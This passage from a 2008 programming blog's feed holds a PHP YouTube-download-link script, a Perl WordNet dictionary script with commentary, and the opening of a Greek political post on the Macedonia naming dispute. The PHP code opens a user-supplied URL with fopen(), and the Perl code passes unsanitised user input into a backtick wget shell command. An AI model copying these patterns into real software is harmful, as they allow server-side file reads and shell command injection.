new;font-size:85%;" &gt;form action="dnlUTube.php" method="post"&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;p&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;b&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;YouTube URL:&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;/b&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt; &lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;input size= 28 type="text" name="name" /&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;/p&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt; &lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;p&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;input type="submit" value="Get it!"  /&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;/p&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;/form&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;    &lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;i&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;Example: http://www.youtube.com/watch?v=319hsZ12TAE&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;/i&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;   &lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;/head&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;body&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;/body&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:85%;" &gt;/html&lt;/span&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Now this refers to the PHP file &lt;span style="font-weight: bold;"&gt;dnlUTube.php, &lt;/span&gt;that actually retrieves the download URL of the video&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;. The source code is:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;dnlUTube.php : extracts YouTube download link&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;html&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;?php&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;#&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;#  Script to download YouTube videos&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;#  Originally crafted by panefsky on Developer On Line- Salonica,Greece 2008&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;# Use free. Credits welcome.&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;#&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;# Input: Post parameter 'name' is the YouTube URL&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;# Known issues: sometimes the parsing fails either because&lt;br /&gt;#YouTube does not send the proper format or&lt;br /&gt;#whatever..&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt; However 2nd invocation of script always succeeds! You might contribute at that.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;#&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;#   Enjoy!&lt;/span&gt;&lt;br /&gt;if(!empty($_POST['name'])) {&lt;br /&gt;&lt;br /&gt;$location  =  htmlspecialchars($_POST['name']);&lt;br /&gt;try {&lt;br /&gt;$handle = fopen($location, "r");&lt;br /&gt;if($handle) {&lt;br /&gt;$contents = '';&lt;br /&gt;while (!feof($handle)) {&lt;br /&gt; $contents .= fread($handle, 8192);&lt;br /&gt;}&lt;br /&gt;fclose($handle);&lt;br /&gt;$result1 = preg_match("/&amp;amp;t=([\w]*)&amp;amp;/",$contents,$tickets);&lt;br /&gt;$result2 = preg_match("/v=(\w*)/",$location,$video_id);&lt;br /&gt;&lt;br /&gt;if($result1) {&lt;br /&gt;echo "&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;a href = \"http://www.youtube.com/get_video?video_id=";&lt;br /&gt;echo $video_id[1];&lt;br /&gt;echo "&amp;amp;t=";&lt;br /&gt;echo $tickets[1];&lt;br /&gt;echo "\"&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;Download link.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;/a&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;";&lt;br /&gt;echo "&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;br&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;";&lt;br /&gt;echo "Click n Save with flv extension";&lt;br /&gt;}&lt;br /&gt;else echo "Damn! Click Back and try again..Sorry :(";&lt;br /&gt;}&lt;br /&gt;else echo "\nYou liked that? Ha?";&lt;br /&gt;}&lt;br /&gt;catch(Exception $e) {echo "I made an error. So what?";}  &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;else     echo "Empty input! Bad boy...!";&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;br&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;br&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;a href="dolUTubeFrame.html"&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;Back&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;/a&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&amp;lt;&lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;/hmtl&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family: courier new;"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;That's it! Happy downloading!&lt;span style="font-style: italic;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-2475509537348702048?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2475509537348702048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2475509537348702048'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/04/popular-demand-youtube-download-php.html' title='Popular Demand: The Youtube Download PHP Scripts'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-530676945544628675</id><published>2008-04-03T17:10:00.000-07:00</published><updated>2008-12-09T07:12:02.571-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='source code'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Perl by Example: English Dictionary In  22 Lines</title><content type='html'>&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;span&gt;[Update #1]&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;This post has been cited from Princeton's WordNet Project as a nice Perl extension. You can find lots of more of &lt;/span&gt;&lt;a style="font-style: italic;" href="http://wordnet.princeton.edu/"&gt;information about WordNet here&lt;/a&gt;&lt;span style="font-style: italic;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;span&gt;[Update #2]&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Many thanks to my brother &lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;font-size:85%;" &gt;Costas&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;, for buying me the ultimate Perl book: "Programming Perl, 3rd edition" by Larry Wall. Thanx bro! :)&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://wordnet.princeton.edu/"&gt;WordNet&lt;/a&gt; is an online English dictionary from the Princeton University. It has some hundreds of thousands of words and it keeps growing. You have absolute access to the resource and there are interfaces in practically all programming languages. It is not tough to build one from your own, but I ceize the opportunity to make an introduction to a really &lt;span style="font-weight: bold;"&gt;special &lt;/span&gt;programming language&lt;span style="font-weight: bold;"&gt;: &lt;a href="http://en.wikipedia.org/wiki/Perl"&gt;Perl&lt;/a&gt;&lt;/span&gt;. Of course a crappy blog post cannot introduce a such extensive language as Perl, but additional Perl articles are sure to follow!&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;For the history, &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Perl &lt;/span&gt;was designed as a so-called 'glue' language for Unix, simply for doing things that with other tools were somewhat difficult. Created in the mid-80's by &lt;a href="http://en.wikipedia.org/wiki/Larry_Wall"&gt;&lt;span style="font-weight: bold;"&gt;Larry &lt;/span&gt;&lt;/a&gt;&lt;a href="http://en.wikipedia.org/wiki/Larry_Wall"&gt;&lt;span style="font-weight: bold;"&gt;W&lt;/span&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/R_WFCfFylXI/AAAAAAAAAFg/3dWmF81pxX8/s1600-h/perl-camel.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/R_WFCfFylXI/AAAAAAAAAFg/3dWmF81pxX8/s200/perl-camel.gif" alt="" id="BLOGGER_PHOTO_ID_5185196823739012466" border="0" /&gt;&lt;/a&gt;&lt;a href="http://en.wikipedia.org/wiki/Larry_Wall"&gt;&lt;span style="font-weight: bold;"&gt;all&lt;/span&gt;&lt;/a&gt;, in a one-man project as a fast reporting tool, it is now spread to all machines and applications. I have never used Perl for large GUI-demanding projects, but it has been a killer for simple but heavy tasks.&lt;br /&gt;&lt;br /&gt;Whatever the objections, you may find Perl great for one simple but &lt;span style="font-weight: bold;"&gt;rare &lt;/span&gt;thing: &lt;span style="font-weight: bold;"&gt;Perl has culture&lt;/span&gt;. Its creator and all people actively involved in Perl's development share a number of values: Freedom, innovation and a &lt;span style="font-weight: bold;"&gt;unique &lt;/span&gt;sense of humor. To explain, I have two Perl books in my library: "Learning Perl" and "Programming Perl", affectionately called by the Perl community as the "&lt;span style="font-weight: bold;"&gt;Alpaca Book&lt;/span&gt;" and the "&lt;span style="font-weight: bold;"&gt;Camel Book&lt;/span&gt;" for the animals on the cover (Camel is the Perl mascot as shown in the figure). For me they are the most easy-read programming books that I have read. Anything else I use as a reference because I find programming books too hard to follow for long. But these differ. The style of writing and the humor that they transmit make you read them in literally one breath.&lt;br /&gt;&lt;br /&gt;Anyway, the best way to introduce a language is by example, so here is mine for Perl: To build an English dictionary based on Princeton's WordNet. Believe it or not, all in all it takes 22 lines to do it! You may see the interface with the program in the following video. When you are done you might want to check the source code with some comments for better understanding.&lt;br /&gt;&lt;object height="355" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/OaFtBi_jEzw&amp;amp;hl=en"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.youtube.com/v/OaFtBi_jEzw&amp;amp;hl=en" type="application/x-shockwave-flash" wmode="transparent" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;The Perl source code follows:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;my $word; &lt;span style="font-style: italic;"&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;declares a scalar variable.Perl has two basic types: scalars and plurals(lists,hashes)&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;br /&gt;our $message = "&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;\nPlease enter a word to look for:\n&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;span style="font-weight: bold;"&gt;";&lt;/span&gt;&lt;br /&gt;print $message; &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;#prints our message&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;while($word = &lt;&gt;) &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;#reads the word the user searches for&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt; {&lt;br /&gt;chomp($word); &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;#remove last character (the '\n', new line)&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;  if($word eq "&lt;") { system("cls"); &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;#if user types "&lt;" clear screen&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;print $message; } &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;else {&lt;br /&gt;print "Connecting..";&lt;br /&gt;my $url  = "http://wordnet.princeton.edu/perl/webwn"."?"."s=".$word; &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;#WordNet URL&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt; `wget -q -Oindex.html $url`;     &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;#download the results&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;open FILE,"&lt;","index.html";     &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;#open the result web page locally&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;print "\rOk.Results:";&lt;br /&gt;while(&lt;tmp_file&gt;&lt;file&gt;&lt;&lt;file&gt;FILE&gt;) &lt;/file&gt;&lt;/file&gt;&lt;/tmp_file&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;file&gt;&lt;span style="font-style: italic;"&gt;#for every line in file&lt;/span&gt;&lt;br /&gt;&lt;/file&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;file&gt;     {&lt;br /&gt;&lt;b&gt;if(/&lt;\s*b&gt;$word&lt;\/b&gt;[^\(]+\(([^\)]*)\)/) &lt;/b&gt;&lt;/file&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;file&gt;&lt;span style="font-style: italic;"&gt;#match a pattern, don't be scared!&lt;/span&gt;&lt;br /&gt;&lt;/file&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;file&gt;&lt;b&gt;       { print "\n#def#$1"; } &lt;/b&gt;&lt;/file&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;file&gt;&lt;span style="font-style: italic;"&gt;#..and print the word definition !&lt;/span&gt;&lt;br /&gt;&lt;/file&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;file&gt;&lt;b&gt;     }&lt;br /&gt;close FILE; &lt;/b&gt;&lt;/file&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;file&gt;&lt;span style="font-style: italic;"&gt;#close file&lt;/span&gt;&lt;br /&gt;&lt;/file&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;file&gt;&lt;b&gt;     print "\n&gt;";&lt;br /&gt;}&lt;br /&gt;}&lt;/b&gt;&lt;/file&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What might scare you off is the pattern matching line, especially if you have never come across regular expressions before. The logic is this: In WordNet result page, each word definition comes with original word in bold and the explanation in parentheses. For example if we search for 'developer' it may have the following format:&lt;br /&gt;&lt;span&gt;&lt;span&gt;...&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;developer&lt;/span&gt;&lt;/span&gt;...(a man who develops)...&lt;br /&gt;...&lt;span style="font-weight: bold;"&gt;developer&lt;/span&gt;...(sometimes referring people creating software)...and so on&lt;br /&gt;What the pattern matching does it to match if the line has the word we search for in bold and then extracts the sentence in parentheses.&lt;br /&gt;When it comes to &lt;span style="font-weight: bold;"&gt;pattern matching&lt;/span&gt;, Perl is the king.&lt;br /&gt;&lt;br /&gt;That's all. If you already have a Perl distribution, you can test it yourself. If you don't and you would like to give it try, for Windows there mainly &lt;span&gt;two distributions&lt;/span&gt;. The one is from &lt;span&gt;ActiveState &lt;/span&gt;and you can download a Windows Perl distribution named &lt;span style="font-weight: bold;"&gt;ActivePerl&lt;/span&gt;&lt;a href="http://www.activestate.com/store/productdetail.aspx?prdGuid=81fbce82-6bd5-49bc-a915-08d58c2648ca"&gt; here&lt;/a&gt; (&lt;span style="font-style: italic;"&gt;just click the download button)&lt;/span&gt;. The other is called &lt;span&gt;&lt;span style="font-weight: bold;"&gt;Strawberry Perl&lt;/span&gt;, &lt;/span&gt;it recently came out of beta and you can find it &lt;a href="http://strawberryperl.com/"&gt;here&lt;/a&gt;. I haven't tried but it may well be good.&lt;br /&gt;&lt;br /&gt;Needless to say, &lt;span&gt;Perl is free&lt;/span&gt; and always will be! So ride the camel and enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-530676945544628675?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/530676945544628675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/530676945544628675'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/04/perl-by-example-english-dictionary-in.html' title='Perl by Example: English Dictionary In  22 Lines'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_PNe-bgIDyRw/R_WFCfFylXI/AAAAAAAAAFg/3dWmF81pxX8/s72-c/perl-camel.gif' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-2237612823158642752</id><published>2008-04-01T11:51:00.000-07:00</published><updated>2009-10-06T14:17:49.766-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='greece'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Greece on Macedonia Dispute: "Quid pro Quo"</title><content type='html'>In the article, some weeks ago, &lt;span style="font-weight: bold;"&gt;"&lt;a style="" href="http://developeronline.blogspot.com/2008/02/macedonia-its-all-in-name.html"&gt;Macedonia: It's All In The Name&lt;/a&gt;"&lt;/span&gt;, discussing why this issue is so vitally important to my country, Greece, Ι tried to briefly summarize the history of the naming dispute.&lt;br /&gt;&lt;br /&gt;Today, the Minister of Foreign Affairs of Greece, Dora Bakoyannis, wrote an &lt;a href="http://www.iht.com/articles/2008/03/31/opinion/edbakoy.php?page=1"&gt;article for "The Independent"&lt;/a&gt;, summarizing the Greek opinions over the &lt;span style="font-weight: bold;"&gt;Macedoni&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/R_Kb4vFylWI/AAAAAAAAAFY/yN62sP7Y6No/s1600-h/logo_independent.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/R_Kb4vFylWI/AAAAAAAAAFY/yN62sP7Y6No/s200/logo_independent.png" alt="" id="BLOGGER_PHOTO_ID_5184377520072594786" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;a naming dispute, &lt;/span&gt;and practically arriving to some form of ultimatum: "We need to see &lt;span style="font-weight: bold;"&gt;somethin&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;g &lt;/span&gt;from FYROM or else &lt;span style="font-weight: bold;"&gt;no &lt;/span&gt;Greek government and &lt;span style="font-weight: bold;"&gt;no &lt;/span&gt;Greek parliament, will endorse our neighbors entering NATO or the EU." So, now Greece waits for the another proposal from the 'magician' Mr. Matthew Nimetz (&lt;span style="font-weight: bold;"&gt;photo&lt;/span&gt;,Nimic or Nimitz or whatever) or officially shuts down the doors.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 